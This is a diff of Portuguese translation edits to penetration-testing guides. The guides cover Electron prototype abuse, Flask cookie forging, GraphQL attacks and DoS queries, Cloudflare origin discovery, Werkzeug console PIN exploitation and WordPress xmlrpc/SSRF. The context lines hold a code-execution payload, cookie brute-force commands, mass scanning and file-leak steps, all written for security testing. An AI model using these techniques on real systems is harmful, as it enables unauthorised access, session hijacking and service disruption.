||||
Verifique esta página se você quiser aprender mais sobre enumeração e abuso de Buckets:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,6 +8,8 @@ Firebase é um Backend-as-a-Service principalmente para aplicativos móveis. Ele
|
||||
|
||||
Saiba mais sobre Firebase em:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Exemplo de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
|
||||
|
||||
O listener de evento "exit" é sempre definido pelo código interno quando o carregamento da página é iniciado. Este evento é emitido logo antes da navegação:
|
||||
O listener de evento "exit" é sempre configurado pelo código interno quando o carregamento da página é iniciado. Este evento é emitido logo antes da navegação:
|
||||
```javascript
|
||||
process.on("exit", function () {
|
||||
for (let p in cachedArchives) {
|
||||
@ -15,13 +15,15 @@ cachedArchives[p].destroy()
|
||||
}
|
||||
})
|
||||
```
|
||||
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
|
||||
{{#ref}}
|
||||
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
|
||||
{{#endref}}
|
||||
|
||||
.png>)
|
||||
|
||||
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Não existe mais
|
||||
|
||||
Então vai aqui:
|
||||
Então vai para cá:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -33,7 +35,7 @@ O objeto de processo tem uma referência à função "require":
|
||||
```
|
||||
process.mainModule.require
|
||||
```
|
||||
Como o handler.call vai receber o objeto de processo, podemos sobrescrevê-lo para executar código arbitrário:
|
||||
Como o handler.call vai receber o objeto process, podemos sobrescrevê-lo para executar código arbitrário:
|
||||
```html
|
||||
<script>
|
||||
Function.prototype.call = function (process) {
|
||||
@ -44,9 +46,9 @@ location.reload() //Trigger the "exit" event
|
||||
```
|
||||
## Exemplo 2
|
||||
|
||||
Obtenha **o objeto require a partir da poluição do protótipo**. De [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
Obtenha **o objeto require da poluição do protótipo**. De [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
|
||||
Leak:
|
||||
Vazamento:
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
## Cookies
|
||||
|
||||
O nome padrão da sessão de cookie é **`session`**.
|
||||
O nome padrão da sessão do cookie é **`session`**.
|
||||
|
||||
### Decoder
|
||||
|
||||
@ -24,7 +24,9 @@ O cookie também é assinado usando uma senha
|
||||
|
||||
Ferramenta de linha de comando para buscar, decodificar, realizar força bruta e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas.
|
||||
|
||||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||||
{{#ref}}
|
||||
https://pypi.org/project/flask-unsign/
|
||||
{{#endref}}
|
||||
```bash
|
||||
pip3 install flask-unsign
|
||||
```
|
||||
@ -48,7 +50,9 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
|
||||
Ferramenta de linha de comando para realizar brute-force em sites usando cookies criados com flask-unsign.
|
||||
|
||||
{% embed url="https://github.com/Tagvi/ripsession" %}
|
||||
{{#ref}}
|
||||
https://github.com/Tagvi/ripsession
|
||||
{{#endref}}
|
||||
```bash
|
||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||
```
|
||||
|
||||
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Introdução
|
||||
|
||||
GraphQL é **destacado** como uma **alternativa eficiente** à REST API, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com REST, que muitas vezes requer inúmeras solicitações em diferentes endpoints para reunir dados, o GraphQL permite a recuperação de todas as informações necessárias por meio de uma **única solicitação**. Essa simplificação **beneficia significativamente os desenvolvedores** ao diminuir a complexidade de seus processos de recuperação de dados.
|
||||
GraphQL é **destacado** como uma **alternativa eficiente** à REST API, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com REST, que muitas vezes exige inúmeras solicitações em diferentes endpoints para reunir dados, o GraphQL permite a recuperação de todas as informações necessárias por meio de uma **única solicitação**. Essa simplificação **beneficia significativamente os desenvolvedores** ao diminuir a complexidade de seus processos de recuperação de dados.
|
||||
|
||||
## GraphQL e Segurança
|
||||
|
||||
@ -58,7 +57,7 @@ Com esta consulta, você pode extrair todos os tipos, seus campos e seus argumen
|
||||
|
||||
**Erros**
|
||||
|
||||
É interessante saber se os **erros** serão **mostrados**, pois eles contribuirão com informações úteis.
|
||||
É interessante saber se os **erros** serão **mostrados**, pois contribuirão com informações úteis.
|
||||
```
|
||||
?query={__schema}
|
||||
?query={}
|
||||
@ -173,7 +172,7 @@ Se a introspecção estiver habilitada, você pode usar [**GraphQL Voyager**](ht
|
||||
|
||||
Agora que sabemos que tipo de informação está salva dentro do banco de dados, vamos tentar **extrair alguns valores**.
|
||||
|
||||
Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado de "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
|
||||
Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
|
||||
|
||||
|
||||
|
||||
@ -202,7 +201,7 @@ No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**:
|
||||
|
||||
.png>)
|
||||
|
||||
Parece que, de alguma forma, ele irá buscar usando o argumento "_**uid**_" do tipo _**Int**_.\
|
||||
Parece que de alguma forma ele irá buscar usando o argumento "_**uid**_" do tipo _**Int**_.\
|
||||
De qualquer forma, já sabíamos disso, na seção [Basic Enumeration](graphql.md#basic-enumeration) foi proposta uma consulta que mostrava todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
Se você ler a imagem fornecida quando executei essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
|
||||
@ -216,7 +215,7 @@ Note que eu **descobri** que poderia pedir os **parâmetros** "_**user**_" e "_*
|
||||
|
||||
.png>)
|
||||
|
||||
E durante a **fase de enumeração**, descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
|
||||
E durante a **fase de enumeração** descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
|
||||
|
||||
**Truque de despejo de string de consulta (graças ao @BinaryShadow\_)**
|
||||
|
||||
@ -354,7 +353,7 @@ Como podemos ver na captura de tela da resposta, a primeira e a terceira solicit
|
||||
|
||||
Cada vez mais **endpoints graphql estão desativando a introspecção**. No entanto, os erros que o graphql gera quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema.
|
||||
|
||||
Além disso, a extensão Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa solicitações de API GraphQL passando pelo Burp** e **constrói** um **esquema** interno de GraphQL com cada nova consulta que vê. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Além disso, a extensão Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa solicitações da API GraphQL passando pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que vê. Ela também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Uma boa **lista de palavras** para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
@ -368,7 +367,7 @@ Para contornar restrições em consultas de introspecção em APIs, inserir um *
|
||||
{queryType{name}}}"
|
||||
}
|
||||
```
|
||||
Se não for bem-sucedido, considere métodos de solicitação alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, uma vez que as restrições podem se aplicar apenas às solicitações POST.
|
||||
Se não tiver sucesso, considere métodos de solicitação alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, uma vez que as restrições podem se aplicar apenas às solicitações POST.
|
||||
|
||||
### Tente WebSockets
|
||||
|
||||
@ -406,7 +405,7 @@ file:* query
|
||||
```
|
||||
## CSRF em GraphQL
|
||||
|
||||
Se você não sabe o que é CSRF, leia a página a seguir:
|
||||
Se você não sabe o que é CSRF, leia a seguinte página:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||||
@ -426,9 +425,9 @@ Portanto, como as solicitações CSRF, como as anteriores, são enviadas **sem s
|
||||
|
||||
No entanto, observe que o novo valor padrão do cookie da flag `samesite` do Chrome é `Lax`. Isso significa que o cookie só será enviado de um site de terceiros em solicitações GET.
|
||||
|
||||
Observe que geralmente é possível enviar a **solicitação** **de consulta** também como uma **solicitação GET e o token CSRF pode não estar sendo validado em uma solicitação GET.**
|
||||
Observe que geralmente é possível enviar a **solicitação** **de consulta** também como uma **solicitação GET e o token CSRF pode não ser validado em uma solicitação GET.**
|
||||
|
||||
Além disso, abusar de um [**XS-Search**](../../pentesting-web/xs-search/) **ataque** pode ser possível para exfiltrar conteúdo do endpoint GraphQL abusando das credenciais do usuário.
|
||||
Além disso, abusando de um [**XS-Search**](../../pentesting-web/xs-search/) **ataque**, pode ser possível exfiltrar conteúdo do endpoint GraphQL abusando das credenciais do usuário.
|
||||
|
||||
Para mais informações **verifique o** [**post original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
|
||||
@ -444,7 +443,7 @@ Para mais informações, verifique:
|
||||
|
||||
## Autorização no GraphQL
|
||||
|
||||
Muitas funções GraphQL definidas no endpoint podem apenas verificar a autenticação do solicitante, mas não a autorização.
|
||||
Muitas funções do GraphQL definidas no endpoint podem apenas verificar a autenticação do solicitante, mas não a autorização.
|
||||
|
||||
Modificar variáveis de entrada de consulta pode levar a detalhes sensíveis da conta [vazados](https://hackerone.com/reports/792927).
|
||||
|
||||
@ -460,7 +459,7 @@ A mutação pode até levar a uma tomada de conta ao tentar modificar dados de o
|
||||
|
||||
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) juntos pode contornar um sistema de autenticação fraco.
|
||||
|
||||
No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final; neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
|
||||
No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada. Isso pode ser contornado adicionando uma consulta ao final, neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
|
||||
|
||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -491,7 +490,7 @@ valid
|
||||
|
||||
### Sobrecarga de Alias
|
||||
|
||||
**Sobrecarga de Alias** é uma vulnerabilidade do GraphQL onde atacantes sobrecarregam uma consulta com muitos aliases para o mesmo campo, fazendo com que o resolvedor de backend execute esse campo repetidamente. Isso pode sobrecarregar os recursos do servidor, levando a uma **Negação de Serviço (DoS)**. Por exemplo, na consulta abaixo, o mesmo campo (`expensiveField`) é solicitado 1.000 vezes usando aliases, forçando o backend a computá-lo 1.000 vezes, potencialmente esgotando a CPU ou a memória:
|
||||
**Sobrecarga de Alias** é uma vulnerabilidade do GraphQL onde atacantes sobrecarregam uma consulta com muitos aliases para o mesmo campo, fazendo com que o resolvedor do backend execute esse campo repetidamente. Isso pode sobrecarregar os recursos do servidor, levando a uma **Negação de Serviço (DoS)**. Por exemplo, na consulta abaixo, o mesmo campo (`expensiveField`) é solicitado 1.000 vezes usando aliases, forçando o backend a computá-lo 1.000 vezes, potencialmente esgotando a CPU ou a memória:
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
@ -502,7 +501,7 @@ Para mitigar isso, implemente limites de contagem de alias, análise de complexi
|
||||
|
||||
### **Agrupamento de Consultas Baseado em Array**
|
||||
|
||||
**Agrupamento de Consultas Baseado em Array** é uma vulnerabilidade onde uma API GraphQL permite agrupar múltiplas consultas em uma única solicitação, permitindo que um atacante envie um grande número de consultas simultaneamente. Isso pode sobrecarregar o backend ao executar todas as consultas agrupadas em paralelo, consumindo recursos excessivos (CPU, memória, conexões de banco de dados) e potencialmente levando a um **Denial of Service (DoS)**. Se não houver limite no número de consultas em um lote, um atacante pode explorar isso para degradar a disponibilidade do serviço.
|
||||
**Agrupamento de Consultas Baseado em Array** é uma vulnerabilidade onde uma API GraphQL permite agrupar múltiplas consultas em uma única solicitação, permitindo que um atacante envie um grande número de consultas simultaneamente. Isso pode sobrecarregar o backend ao executar todas as consultas agrupadas em paralelo, consumindo recursos excessivos (CPU, memória, conexões de banco de dados) e potencialmente levando a uma **Negação de Serviço (DoS)**. Se não houver limite no número de consultas em um lote, um atacante pode explorar isso para degradar a disponibilidade do serviço.
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -514,7 +513,7 @@ Neste exemplo, 10 consultas diferentes são agrupadas em uma única solicitaçã
|
||||
|
||||
### **Vulnerabilidade de Sobrecarga de Diretiva**
|
||||
|
||||
**Sobrecarga de Diretiva** ocorre quando um servidor GraphQL permite consultas com diretivas excessivas e duplicadas. Isso pode sobrecarregar o analisador e o executor do servidor, especialmente se o servidor processar repetidamente a mesma lógica de diretiva. Sem validação ou limites adequados, um atacante pode explorar isso criando uma consulta com numerosas diretivas duplicadas para acionar alto uso computacional ou de memória, levando a **Negação de Serviço (DoS)**.
|
||||
**Sobrecarga de Diretiva** ocorre quando um servidor GraphQL permite consultas com diretivas excessivas e duplicadas. Isso pode sobrecarregar o analisador e o executor do servidor, especialmente se o servidor processar repetidamente a mesma lógica de diretiva. Sem validação ou limites adequados, um atacante pode explorar isso criando uma consulta com numerosas diretivas duplicadas para acionar um alto uso computacional ou de memória, levando a **Negação de Serviço (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -553,14 +552,14 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa configurações incorretas comuns de endpoints graphql
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoria de segurança GraphQL com foco em realizar consultas e mutações GraphQL em lote.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a graphql sendo usada
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a impressão digital do graphql sendo usado
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para capturar esquemas e buscar dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um tipo específico.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como autônomo ou [extensão Burp](https://github.com/doyensec/inql).
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de **acessar um tipo específico em um esquema GraphQL**.
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): O sucessor dos Modos Autônomo e CLI do InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão Burp para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um endpoint GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as possíveis consultas e mutações, organizando-as em uma visão estruturada para sua análise. O componente _**Attacker**_ permite que você execute ataques GraphQL em lote, o que pode ser útil para contornar limites de taxa mal implementados.
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Tenta obter o esquema mesmo com a introspecção desativada usando a ajuda de alguns bancos de dados Graphql que sugerem os nomes de mutações e parâmetros.
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Tenta obter o esquema mesmo com a introspecção desativada, usando a ajuda de alguns bancos de dados Graphql que sugerem os nomes de mutações e parâmetros.
|
||||
|
||||
### Clientes
|
||||
|
||||
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Testes Automáticos
|
||||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
{{#ref}}
|
||||
https://graphql-dashboard.herokuapp.com/
|
||||
{{#endref}}
|
||||
|
||||
- Vídeo explicando AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
|
||||
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||||
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -37,11 +37,13 @@ done
|
||||
```
|
||||
## Descobrindo Cloudflare a partir da infraestrutura de nuvem
|
||||
|
||||
Observe que, mesmo que isso tenha sido feito para máquinas AWS, pode ser feito para qualquer outro provedor de nuvem.
|
||||
Note que, mesmo que isso tenha sido feito para máquinas AWS, poderia ser feito para qualquer outro provedor de nuvem.
|
||||
|
||||
Para uma melhor descrição deste processo, consulte:
|
||||
Para uma melhor descrição desse processo, confira:
|
||||
|
||||
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
```bash
|
||||
# Find open ports
|
||||
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
|
||||
@ -59,7 +61,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
|
||||
|
||||
### Pulls de Origem Autenticados
|
||||
|
||||
Este mecanismo depende de **certificados SSL** [**do cliente**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **para autenticar conexões** entre os servidores **reverse-proxy** do **Cloudflare** e o servidor **de origem**, que é chamado de **mTLS**.
|
||||
Esse mecanismo depende de **certificados SSL** [**do cliente**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **para autenticar conexões** entre os servidores **reverse-proxy** do **Cloudflare** e o servidor **de origem**, chamado de **mTLS**.
|
||||
|
||||
Em vez de configurar seu próprio certificado, os clientes podem simplesmente usar o certificado do Cloudflare para permitir qualquer conexão do Cloudflare, **independentemente do inquilino**.
|
||||
|
||||
@ -70,7 +72,7 @@ Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-v
|
||||
|
||||
### Endereços IP do Cloudflare na Lista de Permissão
|
||||
|
||||
Isso **rejeitará conexões que não se originam dos** intervalos de endereços IP do **Cloudflare**. Isso também é vulnerável à configuração anterior, onde um atacante simplesmente **aponta seu próprio domínio no Cloudflare** para o endereço **IP** das **vítimas** e o ataca.
|
||||
Isso **rejeitará conexões que não se originam dos** intervalos de endereços IP do **Cloudflare**. Isso também é vulnerável à configuração anterior, onde um atacante simplesmente **aponta seu próprio domínio no Cloudflare** para o endereço **IP** das **vítimas**.
|
||||
|
||||
Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
|
||||
|
||||
@ -80,8 +82,8 @@ Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-v
|
||||
|
||||
Às vezes, você só quer contornar o Cloudflare para apenas fazer scraping da página da web. Existem algumas opções para isso:
|
||||
|
||||
- Use o cache do Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
|
||||
- Use outros serviços de cache, como [https://archive.org/web/](https://archive.org/web/)
|
||||
- Usar o cache do Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
|
||||
- Usar outros serviços de cache, como [https://archive.org/web/](https://archive.org/web/)
|
||||
|
||||
### Ferramentas
|
||||
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Console RCE
|
||||
|
||||
Se o debug estiver ativo, você pode tentar acessar `/console` e obter RCE.
|
||||
@ -17,7 +16,7 @@ Há também vários exploits na internet como [este](https://github.com/its-arun
|
||||
|
||||
Em algumas ocasiões, o endpoint **`/console`** estará protegido por um PIN. Se você tiver uma **vulnerabilidade de traversal de arquivo**, pode vazar todas as informações necessárias para gerar esse PIN.
|
||||
|
||||
### Exploit de PIN da Console Werkzeug
|
||||
### Exploit de PIN da Console do Werkzeug
|
||||
|
||||
Force uma página de erro de depuração no aplicativo para ver isso:
|
||||
```
|
||||
@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN.
|
||||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
Uma mensagem sobre o cenário "console locked" é encontrada ao tentar acessar a interface de depuração do Werkzeug, indicando a necessidade de um PIN para desbloquear o console. A sugestão é explorar o PIN do console analisando o algoritmo de geração de PIN no arquivo de inicialização de depuração do Werkzeug (`__init__.py`). O mecanismo de geração de PIN pode ser estudado no [**repositório de código-fonte do Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), embora seja aconselhável obter o código do servidor real por meio de uma vulnerabilidade de travessia de arquivos devido a possíveis discrepâncias de versão.
|
||||
Uma mensagem sobre o cenário "console locked" é encontrada ao tentar acessar a interface de depuração do Werkzeug, indicando a necessidade de um PIN para desbloquear o console. A sugestão é explorar o PIN do console analisando o algoritmo de geração de PIN no arquivo de inicialização de depuração do Werkzeug (`__init__.py`). O mecanismo de geração de PIN pode ser estudado no [**repositório de código-fonte do Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), embora seja aconselhável obter o código real do servidor por meio de uma vulnerabilidade de travessia de arquivos devido a possíveis discrepâncias de versão.
|
||||
|
||||
Para explorar o PIN do console, são necessárias duas conjuntos de variáveis, `probably_public_bits` e `private_bits`:
|
||||
|
||||
@ -40,7 +39,7 @@ Para explorar o PIN do console, são necessárias duas conjuntos de variáveis,
|
||||
|
||||
- **`uuid.getnode()`**: Obtém o endereço MAC da máquina atual, com `str(uuid.getnode())` traduzindo-o para um formato decimal.
|
||||
|
||||
- Para **determinar o endereço MAC do servidor**, deve-se identificar a interface de rede ativa usada pelo aplicativo (por exemplo, `ens3`). Em casos de incerteza, **vaze `/proc/net/arp`** para encontrar o ID do dispositivo, depois **extraia o endereço MAC** de **`/sys/class/net/<device id>/address`**.
|
||||
- Para **determinar o endereço MAC do servidor**, deve-se identificar a interface de rede ativa usada pelo aplicativo (por exemplo, `ens3`). Em casos de incerteza, **vaze `/proc/net/arp`** para encontrar o ID do dispositivo, então **extraia o endereço MAC** de **`/sys/class/net/<device id>/address`**.
|
||||
- A conversão de um endereço MAC hexadecimal para decimal pode ser realizada como mostrado abaixo:
|
||||
|
||||
```python
|
||||
@ -154,7 +153,9 @@ Isso ocorre porque, no Werkzeug, é possível enviar alguns caracteres **Unicode
|
||||
|
||||
## Exploração Automatizada
|
||||
|
||||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||||
{{#ref}}
|
||||
https://github.com/Ruulian/wconsole_extractor
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@ -25,8 +25,8 @@
|
||||
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como o mecanismo de transporte e XML como o mecanismo de codificação. Esse tipo de comunicação foi substituído pela [REST API](https://developer.wordpress.org/rest-api/reference) do WordPress.
|
||||
- A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
|
||||
- `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
|
||||
- `wp-includes/` este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
|
||||
- `wp-sitemap.xml` nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias consultáveis publicamente.
|
||||
- `wp-includes/` Este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
|
||||
- `wp-sitemap.xml` Nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias publicamente consultáveis.
|
||||
|
||||
**Pós-exploração**
|
||||
|
||||
@ -111,7 +111,7 @@ Se `xml-rpc.php` estiver ativo, você pode realizar um ataque de força bruta de
|
||||
|
||||
Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitação:
|
||||
|
||||
**Verifique**
|
||||
**Verificar**
|
||||
```markup
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -217,7 +217,7 @@ Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de pá
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Worpress pode fazer uma solicitação para você.
|
||||
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Wordpress pode fazer uma solicitação para você.
|
||||
|
||||
Esta é a resposta quando não funciona:
|
||||
|
||||
@ -225,7 +225,9 @@ Esta é a resposta quando não funciona:
|
||||
|
||||
## SSRF
|
||||
|
||||
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
|
||||
{{#ref}}
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existe, tenta explorá-los.
|
||||
|
||||
@ -297,15 +299,15 @@ Este método envolve a instalação de um plugin malicioso conhecido por ser vul
|
||||
|
||||
